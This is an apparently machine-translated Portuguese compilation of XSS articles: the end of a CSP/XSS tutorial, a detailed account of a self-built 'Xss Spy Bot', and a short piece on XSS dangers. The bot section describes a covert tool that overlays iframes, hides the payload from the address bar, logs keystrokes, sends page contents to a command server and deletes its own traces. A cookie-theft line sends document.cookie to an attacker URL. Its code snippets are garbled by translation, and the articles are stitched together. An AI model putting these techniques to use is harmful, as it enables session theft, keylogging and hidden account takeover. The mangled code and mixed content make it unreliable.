    Observe que sempre que o CSP é usado, os recursos integrados e a avaliação são automaticamente desabilitados por padrão. Usar "unsafe-inline" e "unsafe-eval" é a única maneira de usá-los.

    Política de exemplo

    Política de segurança de conteúdo:
    script-src "self" scripts.example.com;
    media-src "nenhum";
    img-src *;
    padrão-src "self" http://*.example.com

    Com este exemplo de política, a página da web terá as seguintes restrições:

    • Os scripts só podem ser baixados do host no qual a página da web está localizada e deste endereço: scripts.example.com.
    • É proibido baixar arquivos de áudio e vídeo.
    • Os arquivos de imagem podem ser baixados de qualquer endereço.
    • Todos os outros recursos só podem ser carregados do host no qual a página da web está localizada e de qualquer subdomínio de example.com.
    Status do CSP

    A partir de junho de 2013, as Políticas de Segurança de Conteúdo são recomendadas pelo consórcio W3C. O CSP é implementado por desenvolvedores de navegadores, mas algumas partes dele são específicas para diferentes navegadores. Por exemplo, o uso do cabeçalho HTTP pode diferir entre navegadores. Antes de usar o CSP, consulte a documentação dos navegadores que você planeja oferecer suporte.

    Resumo Resumo: Visão Geral do XSS
    • Um ataque XSS é um ataque de injeção de código possibilitado pelo processamento inseguro da entrada do usuário.
    • Um ataque XSS bem-sucedido permite que o invasor execute JavaScript malicioso no navegador da vítima.
    • Um ataque XSS bem-sucedido compromete a segurança do site e de seus usuários.
    Resumo: ataques XSS
    • Existem três tipos principais de ataques XSS:
      • XSS armazenado, onde a entrada maliciosa se origina do banco de dados do site.
      • XSS refletido, onde a entrada maliciosa se origina da solicitação da vítima.
      • Ataques XSS no DOM, onde a vulnerabilidade é explorada em código no lado do cliente, e não no lado do servidor.
    • Todos esses ataques são executados de maneira diferente, mas têm o mesmo efeito se forem bem-sucedidos.
    Resumo: Prevenindo XSS
    • A maneira mais importante de prevenir ataques XSS é realizar um processamento de entrada seguro.
      • A codificação deve ser feita sempre que a entrada do usuário estiver habilitada na página.
      • Em alguns casos, a codificação deve ser substituída ou complementada pela validação.
      • O tratamento seguro de entradas deve levar em consideração em qual contexto de página a entrada do usuário está sendo inserida.
      • Para evitar todos os tipos de ataques XSS, o processamento seguro de entrada deve ser feito no código do lado do cliente e do lado do servidor.
    • As Políticas de Segurança de Conteúdo (CSP) fornecem uma camada adicional de proteção caso o processamento seguro de entrada contenha um erro.
    Terminologia do Apêndice

    Deve-se notar que há um cruzamento na terminologia usada para descrever o XSS: um ataque XSS no DOM pode ser armazenado ou refletido; Estes não são tipos separados de ataques. Não existe uma terminologia geralmente aceita que cubra todos os tipos de XSS sem confusão. Independentemente da terminologia usada para descrever o XSS, o mais importante é determinar o tipo de ataque, isso é possível se você souber de onde vem a entrada maliciosa e onde está localizada a vulnerabilidade.

    Direitos de uso e links

    O código-fonte para Excesso de XSS está disponível no GitHub.

    Excesso de XSS foi criado em 2013 como parte do curso de Segurança Baseada em Linguagem da Chalmers University of Technology.

    A tradução para o russo foi realizada pela A888R, texto original em inglês: excesso-xss.com, comentários, sugestões e erros de tradução devem ser enviados aqui.

    Todo mundo sabe há muito tempo que, na maioria das vezes, usando XSS, um invasor tenta enviar um cookie para a vítima, ler tokens CSRF, realizar um ataque de phishing (criando um formulário de login falso), realizar alguma ação em nome do usuário e alguns outros ataques semelhantes (talvez essas não sejam todas as possibilidades, mas essas são todas as mais populares que conheço no momento).

    O objetivo deste método é monitorar as páginas em nome do usuário que ele navega no site atacado, bem como monitorar suas teclas digitadas (você também pode usar movimentos e cliques do mouse, mas para mim isso será desnecessário, não particularmente útil informações, na maioria dos casos com certeza).
    Agora com relação ao benefício máximo - acredito que o algoritmo será assim:

    • ler e enviar Cookies;
    • leia e envie o restante das informações (endereço IP, plug-ins instalados, versão e tipo de navegador, suporte a flash, suporte a silverlight, etc.) [opcional]
    • obter informações sobre a rede interna, penetrar no roteador [opcional]
    • ler e enviar tokens diferentes [opcional];
    • implementar phishing [opcional];
    • fazemos algo “com as mãos do usuário” [opcional];
    • continuamos a espioná-lo e obter informações até que ele feche a aba ou saia do site;

    Todos os itens opcionais da lista IMHO devem ser executados dependendo da situação e prioridades específicas para os objetivos que precisam ser alcançados usando XSS, eles às vezes podem interferir uns nos outros (se você tentar combiná-los, ou melhor, executar um após o outro) e aumentar a probabilidade de falha da operação XSS.
    Mas o primeiro e o último ponto devem ser sempre cumpridos, em qualquer caso, na verdade a parte principal do artigo será sobre o último ponto desta lista.

    Estamos nos aproximando da meta.

    Vou começar de longe: através do JavaScript é possível alterar o caminho na barra de endereço sem recarregar a página. Por exemplo, se um usuário carregou uma página em


    Então o conteúdo da barra de endereço ficará assim (sem recarregar a página):

    http://site.com/new-url/


    Esse recurso, aliás, às vezes é bastante útil quando é necessário se esconder dos usuários (ou de uma categoria mais atenta de usuários - administradores) limpando rapidamente a URL após eles clicarem em um link que continha XSS refletido, para que posteriormente, depois de carregar a página, olhando na barra de endereço, não encontrei nada.

    http: //site.com/search.php?q=123 documento. corpo. innerHTML += "Hackeado" ;

    http: //site.com/search.php?q=123 janela. história. pushState ("" , "" , "/" ); documento. corpo. innerHTML += "Hackeado" ;


    vamos privá-lo desta oportunidade.

    Mas esta técnica tem aplicações ainda mais interessantes e poderosas. Simularemos a permanência do usuário no site após clicar no link, na verdade ele permanecerá na mesma página o tempo todo, e neste momento um script de terceiros funcionará, extraindo e enviando informações ao invasor. Por isso, O XSS funcionará desde que o usuário clique em um link neste domínio .

    Designamos a ideia.

    O princípio geral de funcionamento é este: quando um usuário entra em uma página com XSS, o script cria um iframe com o mesmo endereço da página e o “anexa” ao primeiro plano, o usuário fica com a impressão de que a página carregou normalmente, pois o iframe só pode ser visto nas páginas de código.

    E o script auxiliar controla a lógica do bot espião, ou seja, monitora quando o endereço do frame muda para alterá-lo na barra de endereços, mas se o endereço do frame recém-alterado tiver um domínio diferente, então você pode abrir em uma nova aba, ou você terá que recarregar a página para não se queimar.
    Assim, para que o XSS pare de ser executado neste momento, o usuário deve atualizar a página manualmente (se o XSS foi refletido e foi transmitido pelo método POST, em outros casos a atualização não ajudará, e por falar nisso, alguns os navegadores agora podem enviar uma solicitação POST novamente ao atualizar a página) ou fechar a guia ou mudar para outro domínio (embora neste caso você ainda possa evitar perder o controle).

    Se for para um subdomínio do domínio atacado, então a escolha é do invasor, ou seja, o XSS funcionará, mas há uma pequena chance de o usuário detectar uma discrepância entre o endereço. Acho que dependendo da situação aqui, por exemplo, se o domínio google.ru foi atacado, o usuário mudou para o serviço de arquivos em nuvem do Google, que geralmente fica no subdomínio drive.google.ru, então a probabilidade de ele notar o pegar ao olhar para a barra de endereço é bastante alto, se ele costumava usar este serviço. Caso contrário, você também pode correr um risco. Mas devemos levar em conta que não poderemos mais ler seus dados a partir de um frame com subdomínio, pois a Cross Origin Policy não o permitirá. Mas podemos navegar com segurança no domínio principal em seu nome no modo oculto (mais sobre isso abaixo).

    Somente este método tem limitações, ou seja, não funcionará se as respostas do servidor web do site contiverem um cabeçalho X-Frame-Options com o valor DENY . Mas, pessoalmente, já me deparei com esses sites literalmente algumas vezes; agora, até metade deles não tem SAMEORIGIN definido, sem mencionar a restrição completa por meio de NEGAR.

    Vamos analisar a ideia.

    Agora, muitos provavelmente se lembram de uma coisa tão maravilhosa como o BeEF, que também tem muitas coisas interessantes. Aliás, também existe a opção de forçar o usuário a redirecionar no frame, mas o endereço na barra de endereço não muda, o que pode incendiar rapidamente a mesa e essa opção tem finalidades um pouco diferentes.
    Em geral, o BeEF tem quase tudo que você precisa e até muitas funções adicionais, mas pessoalmente eu queria funcionalidades adicionais, a saber:

    • a capacidade de monitorar o código das páginas acessíveis ao usuário atacado em tempo real;
    • a possibilidade de ver tudo o que ele digita naquele site (desde login e senha, até teclas de atalho e mensagens), ou seja, um keylogger em JS;
    • a possibilidade de dar comandos JS ao seu bot em tempo real, após visualizar o código das páginas recebidas;
    • a possibilidade de deixar comandos para o bot localmente, para que posteriormente ele possa “pegá-los” e executá-los sem nossa participação direta;
    • uma menor probabilidade de o bot ser queimado ou a capacidade do bot de “se esconder” de olhares indiscretos;

    Como mencionado acima, decidi pegar emprestada a ideia legal de uma fila de execução de comandos do BeEF. Por exemplo, analisamos as páginas que o bot derrubou quando um usuário privilegiado estava acessando seu painel de controle com XSS armazenado, deixamos comandos para o bot - código JS, como na próxima vez que o usuário fizer login, clique neste botão, escreva isto valor aqui, etc., na próxima vez que esse usuário visitar a página, o bot lê os comandos e os executa, e não precisamos estar no comando para tudo - é muito conveniente.

    Basicamente, esse bot é, obviamente, projetado para usuários de alto status de alguns sites que possuem “alavancas” adicionais para gerenciar conteúdo, outros usuários, etc. Pelas solicitações de funcionalidade fica claro que não podemos prescindir da parte do servidor.

    Vamos implementar a ideia.

    A princípio, você pode pular esta parte do artigo, pois ela simplesmente descreve o processo de implementação do bot desejado e alguns de seus detalhes, caso alguém queira refazê-lo ou customizá-lo para si. Embora o bot tenha variáveis ​​​​no início do código através das quais você pode definir algumas configurações.
    Primeiro, o algoritmo das ações do bot desde o momento do carregamento:

    1) Verificando a presença do cabeçalho Opções de quadro X: NEGAR(se houver, enrolamos as varas de pescar);
    2) Incorporar um frame e configurar todos os componentes do bot;
    3) Removendo o script e todos os rastros do código HTML;
    4) Estabelecer contato com a parte servidora e passar a enviar dados, respondendo às respostas (recebendo comandos do servidor);

    O primeiro ponto não foi feito completamente, ou seja, o bot verifica apenas a primeira página e o cabeçalho raiz. O fato é que normalmente esses cabeçalhos são incorporados pelo servidor web para todas as páginas de uma vez e é muito raro que para uma única página tudo seja feito “manualmente”. E este título em si é bastante raro. Bom, não há muito o que falar sobre o segundo e o terceiro, tudo estará abaixo.

    Há um ponto relativamente importante que antes de adicionar código de script de bot em seu código, você precisa se livrar dos sinais XSS na barra de endereço imediatamente (do código JS), pois isso reduz as chances de detecção e, o mais importante, evita recursão isso ocorre ao adicionar um endereço ao quadro com o mesmo código XSS, que por sua vez cria outro quadro consigo mesmo e assim por diante.

    Mas, por precaução, o código do bot implementa a capacidade de detectar tal recursão de quadro e evitá-la na primeira tentativa de adicionar um quadro a um já criado, mas é melhor não confiar apenas nele, mas remover adicionalmente o código antes de carregar o código do bot. Embora ainda não tenha encontrado nenhum problema.

    Função de verificação de atualização de quadro. Tentei várias maneiras de resolver esse problema economicamente, pendurando manipuladores de eventos em janela de conteúdo ou documento de conteúdo, mas nada funcionou, então tive que escrever uma função que verificasse o endereço do quadro e comparasse com o salvo anteriormente, e com base nisso, decidisse se o quadro estava sendo atualizado (se o endereço havia mudado) e então chama a si mesmo recursivamente.

    A frequência dessas verificações por segundo é controlada pela variável atraso, que está listado no início do arquivo de código do bot. Mas depois, já tendo escrito, encontrei uma solução mais eficaz - use uma solução simples e desligue carregando para o quadro, então deixei essa função, mas comentei, caso mais tarde seja mais procurada.

    Envio do código HTML da página.

    O esquema aqui é bastante simples - após cada recarga de frame (incluindo o primeiro carregamento), o bot envia para o servidor todo o código HTML da página junto com seu endereço atual, para que posteriormente você possa distinguir se o código pertence ao desejado Páginas.

    O servidor implementa a lógica de armazenamento de páginas - o servidor cria uma pasta para cada domínio com o nome deste domínio e salva todos os dados lá. Os códigos das páginas são salvos e atualizados constantemente para as versões mais recentes, mas a cada novo dia uma nova cópia da página é criada para que você possa controlar o histórico de versões, se necessário. Isso é para /notícias.php No dia 1º de setembro o estado será atualizado, e no dia 2 de setembro será criada uma cópia dele, relevante apenas para aquele dia, e assim sucessivamente todos os dias novamente (se o usuário visitar esta página todos os dias). O nome da página consiste na data e no caminho para esta página em relação à raiz do site (ou seja, sem o domínio).

    Keylogger em JavaScript.

    A ideia já havia sido implementada por alguns entusiastas, mas o trabalho deles não me agradou, até porque a maioria deles eram bastante simples, ou seja, detectaram o código da tecla pressionada e através String.fromCharCode traduzido em símbolos. Mas este método tem uma série de desvantagens - teclas de controle como shift, control, espaço, etc., não são traduzidas em nenhum formato (muitas vezes simplesmente em um caractere vazio), a interação das teclas alfanuméricas com shift é registrada incorretamente, uma vez que este deve ser implementado programaticamente, e Além disso, todas as teclas pressionadas são exibidas em letras maiúsculas, o que também pode ser corrigido programaticamente.

    O resultado foi um keylogger que detectou corretamente todas as teclas de números, letras e caracteres básicos, funcionando em ambos os layouts, reagindo ao shift e registrando todas as principais teclas especiais. É verdade que alguns caracteres (no topo da linha numérica, que são impressos quando o shift e o número são pressionados) podem ser diferentes em algumas máquinas, pois foram implementados de acordo com o padrão básico, que algumas empresas alteram.
    Cada parte dos caracteres pressionados é retida pelo cliente até que o elemento de texto perca o foco. Em seguida, essa parte é enviada para o servidor, onde é salva em um arquivo de texto, que também será criado todos os dias com uma nova cópia, para que não cresça em tamanhos grandes e você possa encontrar rapidamente o que o usuário estava digitando naquela hora.
    Além das próprias chaves, a cada trecho são enviadas ao servidor informações sobre o elemento em que o texto foi digitado (ou seja, se foi , [ ou alguns quando o usuário utilizou teclas de atalho), além do nome do elemento, são enviados seus dados básicos (id, nome, classe - se houver) para que possam ser facilmente encontrados no código. E claro, ficam registrados o endereço da página onde foi feito o recrutamento e o horário aproximado desse recrutamento. Em geral, informações suficientes sobre as batidas do teclado do usuário são enviadas para análise posterior.

    Comande seu bot.

    Este processo pode ser realizado pelo invasor ou no lado onde o bot irá rodar, no lado do servidor ou até mesmo remotamente. Depois de executar o script do servidor, um servidor web em miniatura auto-escrito é iniciado, que atende solicitações do bot e de seu controlador, que funciona por meio da interface web. Ou seja, após iniciar, o servidor web emite um link, através do qual você pode começar a dar comandos ao bot.

    Sobre este painel de controle. Em primeiro lugar, foi necessário restringi-lo com uma senha (o caminho e poucas pessoas saberão sobre o serviço em execução em tal ou tal porta ou sobre o endereço que precisam ir para utilizar este serviço), para que no primeiro login o servidor solicitará uma senha, que é fornecida na barra de endereço (será fornecido um exemplo), a senha original é armazenada em senha.txt, que pode ser alterado. Após o primeiro login, o servidor web instruirá o navegador a salvar a senha em um cookie, para que você não precise mais se preocupar com isso.

    Na própria página de envio de comandos ao bot também há informações sobre o estado do bot - se está online ou offline no momento, e algumas configurações, a primeira delas é o host, ou seja, o IP endereço ou domínio do site para o qual os comandos serão enviados ao bot. Isso foi projetado caso vários sites contenham esse bot, para que possam ser identificados. No servidor, também neste caso, todos os dados são divididos em pastas com nomes de domínio.
    A seguir está uma janela onde você pode escrever comandos para o bot em JS, e uma opção que define onde esse código JS será executado, na janela principal onde o bot está ou em um quadro - isso é feito por conveniência, apenas por precaução .

    Se o bot não estiver online, o servidor simplesmente salva os comandos e posteriormente, quando o bot ficar online, ou seja, o usuário visitar novamente a página com ele ou seguir o link do invasor, esses comandos serão executados.
    Isto é muito conveniente se, durante o primeiro reconhecimento, o bot descartou todas as páginas visitadas pelo usuário (por exemplo, uma conta pessoal), após estudar o código do qual escrevemos comandos em JS, para que o bot então clicasse em os links que precisamos, insira os dados necessários, exiba as fotos necessárias, etc., o que o ajudará a atingir seu objetivo.

    Ou você pode diretamente em tempo real, olhar rapidamente o conteúdo das páginas através do código e dar comandos ao bot para que ele envie o código de outras páginas, vá para outro endereço, etc. tela” do usuário, que navegará tranquilamente no site através de um frame.

    Para sua conveniência, você pode transformar as instruções usadas com mais frequência em funções inteiras em JS, que são então inseridas no arquivo de origem do bot ( xsb.js, mais sobre a estrutura do arquivo abaixo) e use. Ou use aquelas funções que estão incluídas no bot, embora exista apenas o básico e não haja nada de novo, mas por exemplo, você pode usar a função de enviar o código da página a qualquer momento, e não quando o frame for recarregado. Você pode escrever uma função que abrirá os links passados ​​​​para ela em novos frames em segundo plano para visualizar o conteúdo de várias páginas ao mesmo tempo em nome do usuário (e operar esse conteúdo com suas mãos virtuais).

    Removendo seu próprio código.

    Pois bem, o último recurso é implementado de forma bastante simples (pode ser desabilitado definindo a variável desejada no arquivo, estão comentados). O script, após configurar e suspender todos os manipuladores de eventos, criando todas as variáveis ​​e funções, se exclui

    Afinal todos os dados já foram carregados na RAM através do navegador, então não há com o que se preocupar, mas isso é em teoria, talvez mais tarde haja alguns problemas que não levei em consideração, então criei uma variável que pode ser usado para desativar esse recurso conforme necessário.

    Depois de excluir todos os scripts, será extremamente difícil perceber o XSS, pois a presença de um quadro não indica isso indiretamente, e o código em si só pode ser encontrado nos logs de histórico de tráfego de rede do navegador (que não são mantidos por padrão em muitos navegadores se o painel do desenvolvedor não estiver aberto).

    Parte do servidor.

    Para uma forma mais simples e conveniente de iniciar o bot, decidiu-se escrever nosso próprio pequeno servidor web em soquetes, que serviria o bot, forneceria todas as operações de recebimento e postagem dos dados enviados, transmitiria mensagens entre o invasor e o bot, e crie uma interface web para o invasor para o comando.
    O servidor foi escrito em Python, tentei usar apenas bibliotecas padrão para não precisar instalar nada antes de lançar. Além disso, o próprio servidor edita alguns dados nos scripts, ou seja, no script JS do bot não há necessidade de definir o endereço do servidor comandante, o próprio servidor web irá definir o necessário lá na inicialização. Existe apenas um parâmetro na configuração do servidor - a porta na qual ele será iniciado (o padrão é 8000).
    Após a inicialização, o servidor fornecerá todos os dados necessários - um link para o script JS, que precisará ser inserido, um link para o painel de comando, ou melhor, links para endereços externos e locais, por conveniência.

    Esquema de trabalho com o bot.

    Lançamos o servidor em alguma porta não reivindicada e você pode enviar um link com um script de bot, então todos que clicarem nele enviarão dados que o servidor salvará a qualquer hora do dia. Então você pode simplesmente visualizá-los se houver necessidade de sair do bot da equipe e continuar fazendo seu próprio trabalho.

    Estrutura de arquivos.

    A pasta contém os seguintes arquivos:

    • xsb.py - arquivo principal que implementa a parte do servidor; para o bot funcionar basta iniciá-lo e depois basta usar o link que ele oferece;
    • xsb.js - aqui é armazenado o código JS do bot, cujo link é fornecido pelo servidor; no início do mesmo são declaradas variáveis ​​​​de configuração, que podem ser alteradas a seu critério (algumas, nomeadamente o host e a porta, o servidor será configurado mais tarde, você não precisa se preocupar);
    • panel.html - daqui o servidor pega o código do painel de controle do bot, você pode personalizar a interface a seu critério;
    • password.txt - aqui fica armazenada a senha do painel de controle, que pode ser alterada;
    • saveData é o diretório onde serão criadas as pastas com domínios de sites, onde serão salvas todas as informações.

    Deixe-me observar novamente que no arquivo xsb.js você pode adicionar suas próprias funções, que podem ser chamadas através do painel sem escrever grandes porções de código;

    Uma breve análise dos resultados.

    Depois de escrever minha própria maneira inventada de manter um usuário em uma página com XSS por meio de frames (bem, como inventado - eu pessoalmente descobri por mim mesmo, é bem possível que alguém “inventou” essa mesma técnica para si ou já esteja em algum lugar em o público brilhou, porque agora é muito difícil desenvolver algo verdadeiramente novo e, via de regra, depois de algum tempo você descobre que “isso já estava nos Simpsons”) comecei a me aprofundar no BeEF com mais detalhes e a ler seu wiki. Então descobri que outra técnica foi implementada ali para atingir o mesmo objetivo - estender o tempo do usuário em uma página com XSS executável (que eles chamaram de homem no navegador). E foi implementado assim: todos os links da página original foram alterados de tal forma que ao clicar em algum deles o script não recarregava a página, mas enviava uma solicitação ao servidor via Ajax e inseria os dados recebido na resposta, ou seja, pode-se dizer que o atualizou artificialmente, o que também era quase indistinguível do refresco comum.

    Portanto, não fui o primeiro a concretizar esta ideia (mesmo que os métodos tenham sido diferentes). Mas ambos os métodos têm suas desvantagens:

    O método de carregamento via não funciona se houver um cabeçalho na resposta Opções de quadro X: NEGAR, mas por outro lado funciona como uma janela normal do navegador;

    O método ajax sempre funciona se o navegador o suportar (todos os principais navegadores o suportam agora), mas com o novo padrão Web 2.0, mais e mais transições são acionadas por eventos personalizados de quaisquer elementos via JS. Um dia fui ao Google AdWords e resolvi ver como o HTML e JS deles interagiam ali, pois todos os meus spiders eram péssimos na criação do back map desse serviço. E eu fiquei surtando silenciosamente a noite toda sobre como tudo era incomum ali, quando os elementos de texto eram botões, seletores e controles deslizantes e eram representados com todo o resto, e cada um tinha cerca de 30 manipuladores para eventos diferentes.

    Ou seja, em um site sofisticado, o botão de transição (subjetivamente um link) será implementado por meio de uma tag normal , que é carregado com estilos e nos quais os manipuladores de eventos estão anexados, um dos quais, por exemplo, onclick redireciona o usuário para outra página. Existem também elementos padrão como [i] ou ele mesmo etc., que também são links para outras páginas, mas às quais o BeEF não responderá e a página simplesmente não será atualizada quando você clicar na maioria dos botões e outros elementos. O que pode solicitar que o usuário atualize a página ou entre novamente pelo outro lado, o que mata nossa sessão XSS ativa.

    Para abreviar a nomenclatura dos arquivos, chamei-o de Xss Spy Bot.

    P.S.
    Tudo isso demorou pouco mais de um mês para ser escrito devido à falta periódica de tempo e distrações constantes. Também por isso, a qualidade do código e a probabilidade de encontrar algum bug são bastante altas. Por isso peço que não xingue muito, mas que anote o que há de errado com alguém para que possa ser corrigido.
    Eu mesmo testei o bot em apenas 4 máquinas, todas rodando Debian.

    Planos de longo prazo para este bot, se houver motivação:
    — implementar a renderização do código das páginas que o bot envia ao servidor, para que ele abra imediatamente no navegador e possa ser “tocado” e testado na hora;
    — eles tentarão obter algumas vantagens da tecnologia WebRTC, ou seja, encontrar maneiras de obter novas informações que o JS puro não consegue extrair;
    — implementar a comunicação entre o bot e o servidor usando o protocolo WebSocket sobre HTTP;
    — adicione algumas conveniências ao painel de controle;

    Última atualização em 18 de novembro de 2016.

    Todo mundo sabe há muito tempo o que é XSS e como se proteger contra ele, então serei breve. XSS é a capacidade de um invasor de uma determinada forma (veja o link para possíveis opções no final do artigo) de integrar um script na página do site vítima, que será executado quando for visitado.

    Curiosamente, na maioria dos casos em que esta vulnerabilidade é descrita, ficamos assustados com o seguinte código:

    http://www.site.com/page.php?var=‹script›alert("xss");

    De alguma forma, não é muito assustador :) Como essa vulnerabilidade pode ser realmente perigosa?

    Passivo e ativo

    Existem dois tipos de vulnerabilidades XSS – passivas e ativas.

    Vulnerabilidade ativaé mais perigoso, pois o invasor não precisa atrair a vítima por meio de um link especial, basta injetar o código no banco de dados ou em algum arquivo do servidor. Assim, todos os visitantes do site tornam-se automaticamente vítimas. Pode ser integrado, por exemplo, usando injeção SQL. Portanto, você não deve confiar nos dados armazenados no banco de dados, mesmo que tenham sido processados ​​durante a inserção.

    Exemplo vulnerabilidade passiva Você pode ver isso logo no início do artigo. Isso já requer engenharia social, por exemplo, uma carta importante da administração do site solicitando que você verifique as configurações da sua conta após restaurar a partir de um backup. Conseqüentemente, você precisa saber o endereço da vítima ou simplesmente organizar uma correspondência de spam ou postar em algum fórum, e não é fato que as vítimas serão ingênuas e seguirão seu link.

    Além disso, os parâmetros POST e GET podem ser suscetíveis à vulnerabilidade passiva. Com os parâmetros POST, é claro, você terá que recorrer a truques. Por exemplo, um redirecionamento do site de um invasor.

    document.getElementsByTagName("formulário").submit();

    Portanto, a vulnerabilidade GET é um pouco mais perigosa, porque... É mais fácil para a vítima perceber um domínio incorreto do que um parâmetro adicional (embora o URL geralmente possa ser codificado).

    Roubando biscoitos

    Este é o exemplo mais comumente citado de ataque XSS. Os sites às vezes armazenam algumas informações valiosas em Cookies (às vezes até o login e a senha do usuário (ou seu hash)), mas o mais perigoso é o roubo de uma sessão ativa, então não se esqueça de clicar no link “Sair” nos sites , mesmo que seja um computador doméstico. Felizmente, na maioria dos recursos, o tempo de vida da sessão é limitado.

    var img = nova imagem(); img.srс = "http://site/xss.php?" + documento.cookie;

    É por isso que introduziram restrições de domínio no XMLHttpRequest, mas isso não é um problema para um invasor, já que existe, , , plano de fundo:url(); e assim por diante.

    Roubando dados de formulários

    Procuramos o formulário através, por exemplo, de getElementById e monitoramos o evento onsubmit. Agora, antes de enviar o formulário, os dados inseridos também são enviados ao servidor do invasor.

    Esse tipo de ataque lembra um pouco o phishing, só que usa um site real em vez de um site falso, o que inspira mais confiança na vítima.

    Ataque DDoS (ataque distribuído de negação de serviço)

    Uma vulnerabilidade XSS em recursos muito visitados pode ser usada para lançar um ataque DDoS. A essência é simples - há muitas solicitações que o servidor atacado não consegue suportar.
    Na verdade, a relação com o XSS é indireta, já que scripts não podem ser utilizados de forma alguma, basta uma construção como esta:

    Falsificação de solicitação entre sites (CSRF/XSRF)

    Também indiretamente relacionado ao XSS. Na verdade, este é um tipo separado de vulnerabilidade, mas geralmente é usado em conjunto com XSS. O resultado final é que um usuário autorizado em um site invulnerável vai para um site vulnerável (ou uma página especial do invasor), de onde é enviada uma solicitação para realizar determinadas ações.

    Grosso modo, idealmente deveria ser assim. O usuário fez login no sistema de pagamento. Em seguida, fui ao site do invasor ou a um site com vulnerabilidade XSS, de onde foi enviada uma solicitação para transferir dinheiro para a conta do invasor.

    Portanto, a maioria dos sites, ao realizar determinadas ações do usuário (por exemplo, alterar e-mail), solicita uma senha ou solicita que você insira um código de confirmação.

    Vermes XSS

    Este tipo de ataque provavelmente surgiu graças a redes sociais como VKontakte e Twitter. A questão é que um link com vulnerabilidade XSS é enviado para vários usuários da rede social; quando eles clicam no link, o script integrado envia mensagens para outros usuários em seu nome, etc. Ao mesmo tempo, outras ações podem ser realizadas, por exemplo, enviar dados pessoais das vítimas ao invasor.

    XSS inofensivo

    Curiosamente, os contadores, por sua própria natureza, também são um ataque XSS ativo. Afinal, os dados do visitante são transferidos para um servidor de terceiros, como seu endereço IP, resolução do monitor, etc. Só você integra o código em sua página por sua própria vontade :) Dê uma olhada, por exemplo, no código do Google Analytic.